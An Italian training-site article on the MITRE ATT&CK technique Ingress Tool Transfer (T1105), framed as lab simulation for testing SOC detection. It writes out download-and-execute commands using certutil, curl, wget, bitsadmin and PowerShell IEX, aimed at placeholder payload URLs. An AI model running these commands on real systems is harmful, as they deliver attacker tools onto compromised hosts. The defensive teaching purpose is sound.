Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Trasferimento di Strumenti nell'Ambiente Vittima: Ingress Tool Transfer (T1105)
L'Ingress Tool Transfer descrive la capacità di un avversario di trasferire file, tool offensivi o payload aggiuntivi da un sistema esterno verso un ambiente già compromesso. La tecnica rientra nella tattica Command and Control (TA0011), la fase della kill chain in cui l'attaccante consolida la comunicazione con i sistemi sotto il proprio controllo e li arricchisce con strumenti operativi.
Il meccanismo è tanto semplice quanto devastante: una volta stabilito un punto d'appoggio iniziale, l'attaccante scarica sul target tutto ciò che serve per muoversi lateralmente, esfiltrare dati, distribuire ransomware o mantenere la persistenza. I canali di trasferimento spaziano dal classico C2 a protocolli legittimi come FTP, SFTP, HTTPS, fino a servizi cloud come Dropbox e OneDrive che sincronizzano automaticamente i file sul dispositivo vittima.
I numeri parlano da soli: 85 gruppi APT, 385 software e 28 campagne documentate fanno di questa tecnica una delle più pervasive dell'intero framework. Il motivo è strutturale — quasi ogni intrusione richiede, a un certo punto, di portare strumenti aggiuntivi sull'endpoint. Sul piano difensivo sono disponibili 2 mitigazioni ufficiali incentrate su Network Intrusion Prevention e filtraggio del traffico, ma la vera sfida è distinguere un download malevolo dal rumore di fondo del traffico lecito. Utility native come certutil, curl, wget, BITSAdmin e i cmdlet PowerShell diventano armi a doppio taglio, rendendo il living-off-the-land la norma piuttosto che l'eccezione.
La simulazione dell'Ingress Tool Transfer in laboratorio è fondamentale per validare i controlli di rete e gli alert del SOC. L'obiettivo è verificare se gli strumenti di monitoraggio intercettano il download di payload attraverso utility native e tool offensivi, seguendo gli stessi pattern documentati nei gruppi APT reali.
Il primo scenario sfrutta certutil, uno dei vettori preferiti da gruppi come APT41, Threat Group-3390, Rancor e Medusa Group. In un prompt elevato su Windows, il comando classico è:
certutil -urlcache -split -f <URL-del-payload-in-lab> C:\Users\Public\payload.exe
Subito dopo, molti avversari verificano l'integrità del file scaricato:
certutil -hashfile C:\Users\Public\payload.exe SHA256
Questa coppia di comandi genera eventi Sysmon riconoscibili — creazione processo con command line contenente -urlcache seguita da accesso al file in una directory ad alto rischio.
Il secondo scenario replica il comportamento di Storm-1811 e Daggerfly, che combinano cURL e BITSAdmin. Su Windows 10/11, cURL è preinstallato:
curl -o C:\Users\Public\tool.exe <URL-del-payload-in-lab>
Per BITSAdmin (open source, nativo Windows):
bitsadmin /transfer DownloadJob /download /priority high <URL-del-payload-in-lab> C:\Users\Public\tool.exe
BITSAdmin è particolarmente insidioso perché il servizio BITS gestisce nativamente gli aggiornamenti Windows, mimetizzando il traffico malevolo tra job legittimi.
Su Linux, i pattern di TeamTNT si replicano con:
curl -fsSL <URL-del-payload-in-lab> -o /tmp/miner.sh && chmod +x /tmp/miner.sh
wget -q <URL-del-payload-in-lab> -O /tmp/implant.elf
Per ambienti ESXi, dove gruppi come Scattered Spider hanno operato, i comandi disponibili sono gli stessi wget e curl presenti nella BusyBox dell'hypervisor, ma il percorso di destinazione cambia:
wget <URL-del-payload-in-lab> -O /vmfs/volumes/datastore1/implant
Per testare il trasferimento via PowerShell, come documentato per FIN7, WIRTE e Winter Vivern:
IEX(New-Object Net.WebClient).downloadString('<URL-del-payload-in-lab>')
Invoke-WebRequest -Uri <URL-del-payload-in-lab> -OutFile C:\Users\Public\beacon.exe
Sul fronte dei framework offensivi, Cobalt Strike (a pagamento) offre il comando upload dalla Beacon console, mentre Sliver (open source) espone un equivalente. Brute Ratel C4 (a pagamento) fornisce funzionalità analoghe di file transfer verso host compromessi. Infine, per validare la detection su macOS, replica il pattern di macOS.OSAMiner con curl verso directory ad alto rischio come /Users/Shared/ o /tmp/.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo